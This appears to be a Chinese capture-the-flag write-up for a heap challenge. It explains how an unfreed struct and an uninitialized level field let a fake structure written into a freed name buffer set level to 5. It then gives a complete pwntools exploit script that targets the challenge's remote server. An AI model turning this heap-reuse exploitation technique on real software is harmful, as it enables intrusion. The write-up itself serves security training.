
结构体
struct Creature{
char* name;
unsigned int level;
};
思路

-
level为5时即可

-
但是写入限制了level只能为4
漏洞

- 只释放了申请的name,然后把creature设为NULL,没有释放creature
- 并且申请creature时没有清空level

- 使用前没有初始化level, 可以现在name中写入一个假的creature,再释放,使得再次申请Craeture时level正好为之前的5
exp
from pwn import *
#context.log_level = 'debug'
context(os='linux', arch='amd64')
elf=ELF('./a.dms')
#sh=process('./a.dms')
sh=remote('ctf.metasequoia.tk', 29579)
#gdb.attach(sh)
def cmd(s):
sh.recvuntil('> ')
sh.sendline(s)
def summon(name):
cmd('summon '+name)
sh.recvuntil('"\n')
def release():
cmd('release')
sh.recvuntil('Released.\n')
def strike():
cmd('strike')
fakeCreature='A'*8+p64(5)
summon(fakeCreature)
release()
summon('chh')
strike()
sh.interactive()
本文探讨了一种利用结构体内存布局的漏洞进行攻击的方法。通过精心构造假的结构体实例并利用释放和重新分配过程中的缺陷,可以使程序进入预设的状态。文章详细展示了如何在特定条件下使level字段达到期望值,进而触发特定行为。此技术适用于pwn竞赛及安全研究。
402

被折叠的 条评论
为什么被折叠?



